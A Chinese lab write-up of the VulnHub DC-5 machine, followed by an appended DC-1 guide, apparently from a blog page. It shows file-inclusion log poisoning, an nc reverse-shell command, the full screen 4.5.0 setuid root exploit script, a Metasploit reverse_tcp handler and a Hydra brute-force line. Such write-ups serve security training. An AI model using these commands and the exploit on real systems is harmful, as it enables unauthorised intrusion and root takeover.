DC-5 vulnhub靶机实战

本文介绍了一种通过文件包含漏洞获取系统信息,并利用screen软件的已知漏洞提升权限至root的过程。首先,通过nmap扫描确定目标IP及开放端口,找到thinkyou.php中的文件包含漏洞,读取系统敏感文件。接着,利用nginx日志记录功能执行PHP代码,反弹shell。最后,通过修改screen的预加载库,创建并执行root权限的shell,完成提权。

首先是使用virtualbox安装,这里不推荐vmware,会出很多问题。

nmap扫一下子网,看靶机的ip地址:
在这里插入图片描述
发现ip是192.168.240.137,开放了80和111端口。
在这里插入图片描述
给了提示是个文件包含漏洞,发现在thinkyou.php里面存在,验证一下。
在这里插入图片描述
可以读到/etc/passwd文件。
接下来就可以利用nginx的日志记录功能,将一句话写入到access.log里面,然后用thankyou.php?file=*来执行php语句。

在这里插入图片描述
接下来利用nc反弹shell
kali上监听:nc -nlvp 1234
浏览器访问:http://192.168.240.137/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.240.175 1234

可以看的已经弹回了一个shell.
在这里插入图片描述
接下来进行提权:
find / -perm -u=s -type f 2>/dev/null
看看这个用户有什么root权限命令
在这里插入图片描述
看到一个奇怪的screen,搜搜有什么漏洞。
在这里插入图片描述
我们用第一个41154.sh.

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...

在这里插入图片描述
按步骤在kali上编译好libhax.so和rootshell,用wget上传到靶机上,执行

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...

这时候执行/tmp/rootshell可以获得一个root shell.
在这里插入图片描述

### VulnHub DC-1 靶机 攻略 介绍 下载 #### 关于DC-1靶机 VulnHub上的DC-1靶机旨在提供给安全爱好者和渗透测试学习者一个实践平台,在此环境中可以合法地进行各种攻击尝试,从而提升技能。该虚拟环境模拟了一个存在多个已知漏洞的服务网络应用,允许参与者通过一系列挑战来获取系统的控制权并最终找到隐藏的标志文件(flag)[^1]。 #### 获取与安装 为了开始体验DC-1靶机的任务,首先需要访问[VulnHub官方网站](https://www.vulnhub.com/)搜索栏输入“DC-1”,点击进入详情页面下载对应的镜像文件(OVA格式),之后按照提示导入到支持OVA标准的虚拟化工具如VirtualBox或VMware Workstation Pro中完成部署工作[^3]。 #### 初始配置建议 启动后的DC-1默认会分配一个私有IP地址(例如:`192.168.x.x`),此时应该确保Kali Linux作为攻击端能够与其在同一局域网内通信正常;可以通过ping命令验证连通性状况良好后再继续后续操作。 #### 基础信息搜集阶段 当确认双方设备间通讯无碍后便进入了实际演练环节——即从基础的信息收集做起。这一步骤通常涉及使用Nmap扫描开放端口和服务版本探测等手段以了解目标主机概况: ```bash nmap -A <target-ip> ``` 上述指令将会返回有关远程服务器运行状态的关键情报,为下一步制定针对性策略奠定坚实的基础。 #### 进阶探索与利用路径 随着对DC-1认识程度加深,接下来便是寻找潜在的安全缺陷加以利用的过程。根据已有经验分享可知,成功建立Meterpreter回话意味着已经突破了初步防线,获得了更深层次的操作权限: ```ruby use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <local-ip> # Kali IP address exploit ``` 以上Metasploit框架下的设置可帮助快速搭建监听服务等待来自受害者的连接请求,一旦形成稳定的交互通道即可执行更多高级功能比如浏览目录结构直至定位至预设的目标文件位置。 #### 密码破解辅助技巧 考虑到可能存在弱密码保护的情况,采用Hydra这样的暴力猜解程序配合常用用户名列表以及大型词库资源不失为一种高效的方法去揭示真实的身份凭证组合关系[^4]: ```bash hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/rockyou.txt.gz ftp://<target-ip> ``` 这里展示了针对FTP协议实施登录认证绕过的实例,当然具体应用场景还需视实际情况灵活调整参数选项。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值